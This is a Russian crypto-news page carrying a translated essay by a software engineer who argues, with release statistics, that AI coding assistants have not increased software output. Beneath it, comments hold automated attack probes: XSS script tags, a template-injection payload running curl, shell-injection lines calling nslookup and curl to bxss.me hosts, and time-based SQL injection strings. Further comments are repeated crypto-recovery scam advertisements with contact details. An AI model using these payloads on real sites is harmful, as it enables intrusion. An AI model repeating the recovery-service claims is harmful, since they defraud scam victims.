Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9469 / Markets: 114759
Market Cap: $ 3 649 413 147 676 / 24h Vol: $ 111 462 614 249 / BTC Dominance: 58.888008521454%

Н Новости

[Перевод] Где поток ненужного софта? Почему заявления об ИИ-ассистентах не сходятся

Я в бешенстве. Я реально зол. Зол настолько, что хочется сносить чужие песочные замки, зарядить Дэниэлю ЛаРуссо по физиономии и поливать его грязью перед его девушкойa.

Вообще-то я не из тех, кого легко разозлить, но ситуация в индустрии достала окончательно.

Я разбираюсь в разработке софта. Занимаюсь этим 25 лет1, а если считать табулирование маркетинговых исследований на янтарных монохромных экранах — то и все 28, наверное. Да, я старый. Я задрот-программист зрелого возраста. Вся моя жизнь и самоидентификация завязаны на программирование, к лучшему это или к худшему. В моей жизни дофамин льётся по венам тогда, когда мы релизим крутые проекты.

Программирование с ИИ-ассистентами я освоил рано и оставался его фанатом до, наверное, пары месяцев назад, пока не прочитал исследование METRb. Внезапно я начал сильно сомневаться. В этом исследовании авторы выяснили, что разработчики не могут надёжно оценивать собственную продуктивность. У программистов возникало ощущение, что ИИ делает их на 20 % быстрее, а на деле он их замедлял на 19 %. Меня это шокировало, поскольку за неделю до того я кому-то ныл про свои наблюдения: мне казалось, что ИИ меня ускоряет на какие-то 25 %, и этот прирост я считал маленьким. Я ушёл всего на 5 % относительно самооценок разработчиков из этого исследования.

Ситуация припугнула. Невозможно было не задаться вопросом: а если я тоже — не могу себя оценить, как это случилось у респондентов METR? Не обманулся ли я картинкой мелькающего кода на экране? Не тратится ли на чтение и рецензирование всего этого больше времени, чем если бы я просто сделал всё сам?

Итак, я начал измерять свою продуктивность, немного модифицировав методику из того исследования. Брал задачу и прикидывал, сколько заняло бы написать её вручную. После этого я подбрасывал монетку: орёл — использую ИИ, решка — делаю сам. Потом записывал время старта и финиша. Получалась дельта, из которой я строил графики «ИИ и без-ИИ», чтобы увидеть тренды. Я делал так шесть недель подряд, всё аккуратно фиксируя. И знаете что я обнаружил?

xlua3t9foznowet2xm5n-4oz9uy.png

Я обнаружил, что данных недостаточно, чтобы сделать статистически значимые выводы на сколько-нибудь вменяемом уровне. Чтобы доказать, ускоряет меня ИИ или замедляет, мне пришлось бы собирать новые точки ещё четыре месяца. Слишком уж значения идут ноздря в ноздрю.

Но отсутствие различий между группами само по себе очень интересно. Да, выборка ограниченная. Возможно, это так просто совпало. Но на данный момент факт остаётся фактом: ИИ замедляет меня по медиане на 21 %, что совпадает по результату с исследованием METR. Я могу уверенно сказать: я не вижу никакого массивного ускорения (скажем, в 2 раза) от использования ИИ-инструментов для программирования. Если бы оно было, результаты были бы статистически значимыми, и исследование уже можно было бы закрывать.

Это очень разочаровывает.

Я бы хотел, чтобы мечта о программировании с ИИ-ассистентами была реальностью. Хотел бы материализовать в коде каждую дурацкую идею, что у меня когда-либо была. Хотел бы в понедельник сделать приложку для обучения грифу, в среду — тренажёр корейского, а в субботу — игру. Я б это всё зарелизил. Я бы затопил мир потоком ширпотребного трэшового софтаc, какого мир ещё не видел. Если бы ИИ действительно усиливал продуктивность, я бы так точно сделал.

Однако, как выясняется — а я собрал про это много данных — ИИ не повышает производительность труда не только у меня, он не повышает продуктивность ни у кого. И я сейчас это докажу.

Но сперва давайте поглядим, какими сильными и популярными словами рекомендуют продуктивность от ИИ. Слоган Cursor: «Создан, чтобы сделать вас экстраординарно продуктивными». У Claude Code: «Пишите ПО лучше и быстрее». У GitHub Copilot: «Делегируйте как профи». Google утверждает, что их БЯМ делает разработчиков компании на 25 % быстрее. OpenAI публикует свои собственные исследования и громкие заявления об эффективности программирования2. И даже сами разработчики не лучше: 14% утверждают, что видят «десятикратный» рост производительности труда благодаря ИИ3.

Рекламные слоганы были бы не так важны, если не максимальная серьёзность темы. Технические руководители по всей отрасли поддаются FOMOd: конкуренты имеют колоссальный прирост эффективности, а мы этого не получаем! Подобное заставляет ребрендироваться в компании жанра AI-First4, оправдывать увольнения новообретёнными нарративами о продуктивности и занижать зарплаты разработчиков, исходя из предположения, что ИИ фундаментально изменил уравнение ценности.

И всё же, несмотря на максимально широкое внедрение, какое только можно вообразить5, эти инструменты не работают.

Мой довод: если так много разработчиков стали экстраординарно продуктивными благодаря этим инструментам, где же поток ширпотребного софта? Нашему взору должны предстать приложения всех форм и размеров, видеоигры, новые сайты, мобильные приложения, SaaS — нас должно утопить в изобилии. Мы должны были бы жить в разгаре инди-революции в софте. Мы должны были бы видеть 10 000 клонов «Тетриса» в Steam.

Просто подумайте. Вы много знаете о программировании с ИИ-ассистентами и его широком внедрении. Если я покажу вам графики мировых релизов софта, какую форму вы ожидаете увидеть? Несомненно, устремившуюся вверх и вправо экспоненту, поскольку внедрение ИИ набирает обороты, и софта пишут больше?

Чтобы собрать данные для этой статьи, я потратил много денег и недели времени, в некоторых случаях обрабатывал десятки терабайт. Надеюсь, вы оцените, насколько эти разочаровывающие графики слабо изменяются по всем крупным сегментам разработки.

Среднее число в месяц новых релизов приложений iOS с марта 2019 по апрель 2025 года. Statista
Среднее число в месяц новых релизов приложений iOS с марта 2019 по апрель 2025 года. Statista
Среднее число в месяц новых релизов приложений в Google Play с марта 2019 года по май 2025 года. Statista
Среднее число в месяц новых релизов приложений в Google Play с марта 2019 года по май 2025 года. Statista
Всего зарегистрированных доменных имён. Domain Name Industry Brief от Verisign
Всего зарегистрированных доменных имён. Domain Name Industry Brief от Verisign
Новых релизов в Steam в месяц. SteamDB
Новых релизов в Steam в месяц. SteamDB
Число новых публичных репозиториев GitHub в месяц. Я спустил $70 на BigQuery, чтобы построить этот график. Через GH Archive
Число новых публичных репозиториев GitHub в месяц. Я спустил $70 на BigQuery, чтобы построить этот график. Через GH Archive

Самое интересное в этих графиках — чего на них нет. На них нет внезапного всплеска или «клюшки» скачка. В лучшем случае они плоские. Нет вспышки трэшового софта. Нет внезапного инди-бума после 2022 и 2023 годов. По этим графикам вы не сможете сказать, когда код стали писать с помощью ИИ-ассистентов. Базовая посылка ошибочна. Никто не релизит больше, чем раньше.

Влияние на человеческие жизни огромно. Людей увольняют за то, что они недостаточно быстро осваивают эти инструменты6. Люди сидят на нелюбимой работе, потому что боятся, что в другом месте будет хуже. Люди тратят кучу времени, пытаясь прокачать навыки промптинга, у них не получается, и они чувствуют себя ещё хуже.

Что это за хрень происходит?

Итак, давайте разберёмся. Если вы разработчик и чувствуете давление срочно внедрять эти инструменты — давление от менеджера, коллег или общего отраслевого психоза, — доверьтесь интуиции. Если инструменты кажутся корявыми, если они тормозят вас, если вас сбивает с толку, как другие достигают такой продуктивности, — не надо думать, что с вами что-то не так. Ваш опыт подтверждается данными. Вы не отстаете от остальных, если продолжаете работать так, как у вас получается. Если хватит смелости, покажите эти графики своему менеджеру и спросите, что он о них думает.

Если выносить отсюда какие-то выводы:

  • Разработчики выпускают не больше, чем раньше. И это единственная метрика, которая важна.

  • Если кто-то — будь то глава вашей компании, техлид или какой-нибудь умник с Reddit — утверждает, что благодаря ИИ повысил производительность труда на порядок, это почти наверняка неправда. Требуйте предъявить пруфы или катиться к чертям.


О да, я знаю, как бывает в Интернете. Прекрасно знаю, что многие из вас, лопухов, скажут, могу всё угадать. Так что давайте сразу к делу:

  1. «Ну если бы ты научился нормально промптить, ты тоже стал бы 10x-инженером, как я».

    Посмотрите на данные. Нет никаких новых 10x-инженеров. Если бы были — если бы 14 % тех, кто объявляет себя 10x-инженером за счёт ИИ, действительно были таковыми — это более чем вдвое увеличило бы мировую выработку нового софта. Этого не случилось. А ты, лично ты, покажи 30 приложений, которые ты сделал в этом году. Я не собираюсь это обсуждать без пруфов.

  2. «Ну это новая технология, в неё так много вложено, и нужно время…»

    Да, в эти инструменты вложены миллиарды долларов. И миллиарды долларов будут вкладывать и дальше. Проблема в том, что ИИ-продукты продают и дают им оценки (в том числе затрагивающие реальные жизни людей) так, будто эти продукты работают уже сегодня. Не повторяйте мне мантру, что в будущем всё улучшится. Сейчас сентябрь 2025, ИИ-ассистенты существуют уже годы, но они всё ещё сосут. Наверное, когда-нибудь сосать перестанут, но нам потребуется объективное макродоказательство их влияния на реальную скорость релиза продуктов.

  3. «Ну сейчас ИИ помогает так себе, но если не освоишь ИИ, то останешься позади».

    Нет никаких индикаторов, что промптинг трудно освоить. В GitHub про Copilot говорят, что пользователи поначалу принимали лишь 29 % предложенных подсказок кода. Кстати, это само по себе удивительно откровенное признание неэффективности — зачем это публиковать? Дальше GitHub пишет, что программисты естественным путём нарабатывают навык, поэтому за шесть месяцев показатель растёт аж до 34 %. Видимо, полгода опыта улучшает навыки промптинга на 5 %e.

  4. «Ну качество растёт, возможно. Просто проекты просто не релизятся быстрее…»

    Бред какой-то. Мы все знаем, что отрасль откатилась по качеству кода минимум на десятилетие. Софт уже почти никто не тестирует. В последний раз я слышал фразы «continuous improvement» или «test-driven development» до ковида. Вы же не хуже меня знаете: если бы был инструмент, делающий людей 10x-программистами, нас бы уже утопило в ширпотребном трэшаке.

  5. «Ну просто сейчас всё делают на технологиях веба, и людям уже не так важны отдельные домены; все сидят на поддоменах по типу Vercel».

    Да ладно. Люди обожают свои личные домены.

  6. «Ну зато домены в .ai выросли на 47 % в этом году…»

    Да, потому что все стартапы запивотились в AI. Это единственный способ выжать деньги из FOMO у инвесторов. А что, общее количество доменных имён выросло беспрецедентно? Нет. Посмотрите на график новых доменов.

  7. «Ну если бы ты был настоящим инженером, ты бы знал, что бо́льшая часть разработки — это не написание кода».

    Это верно только в больших корпорациях. Когда ты один — то есть ты и стейкхолдер, и разработчик — у тебя нет митингов. Вы мне хотите сказать, что люди перестали шипить что-то в одиночку? Что люди перестали заводить новые проекты на GitHub, хотя им чешется поработать? Как вообще создание софта может не предполагать написание кода?


1. 28 лет опыта — это примерно 55 000 часов. Мне показалась забавной эта метрика.

2. Сэм Альтман говорит, что с ИИ-программированием разработчики теперь «в 10 раз продуктивнее». И что мир хочет «в 100 раз, может, в 1000 раз больше софта». (С этим я согласен). Альтман также прогнозирует, что программисты «будут зарабатывать втрое больше» в будущем.

3. 78 % использующих ИИ разработчиков сообщают о росте продуктивности, при этом 17 % из них (13–14 % всех опрошенных) заявляют о «десятикратном» увеличении производительности труда благодаря ИИ.

4. Забавно, что ни одна из технологических контор, которая заявляет себя как «AI-First», не обучает, как с ИИ разрабатывать программы на порядок быстрее. «Экспериментируйте и разбирайтесь сами» — вот типичный совет. Видимо, официальные гайды по промптингу (1, 2, 3) не сто́ят и выеденного яйца, потому что не работают. Улавливаете диссонанс?

5. 60 % разработчиков сообщают, что пользуются ИИ-инструментами для программирования ежедневно, 82 % — как минимум еженедельно.

6. На прошлой неделе глава Coinbase уволил инженеров, которые отказывались пользоваться Cursor или Copilot.


Примечания переводчика

a. Дэниэль ЛаРуссо — главный герой кинофраншизы «Парень-каратист» (The Karate Kid). В данном случае перечисляются действия, которые совершил бы оппонент Дэниэля в фильме 1984 года, чем автор дополнительно ещё раз обозначает свой возраст. Тем не менее это неточная отсылка к сюжету: в фильме Джонни Лоуренс не ломает замков из песка, в сцене на пляже он разве что бросает радио на песок.

b. Также это исследование хорошо описано на Хабре.

c. Здесь и далее автор использует конкретный термин shovelware, который в русском языке используется редко. К примеру, на Хабре всего два упоминания термина в статьях.

d. FOMO — Fear Of Missing Out, страх упустить тренд или возможность.

e. Здесь оговорка, поскольку значение выросло на 5 процентных пунктов или на 17,2 %.


Об авторе

3ed8fb99bd620e1544903bf6d8743c75.jpeg

Майк Джадж (mikelovesrobots) — американский инженер-программист и руководитель разработки из Сиэтла. Джадж работает директором по разработке в студии Substantial с 2021 года. Он руководил командами, занимался полным циклом проектов и, в числе заметных работ, курировал мобильный порт популярной карточной игры Exploding Kittens. Как инди-разработчик Майк создавал собственные проекты, в том числе учебное приложение Morse Toad (азбука Морзе) и шутливое Places I've Pooped.

Cреди любимых технологий Джаджа — TypeScript/JavaScript, React/React Native, Ruby on Rails, C#, PostgreSQL/GraphQL, Python.

Источник

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery 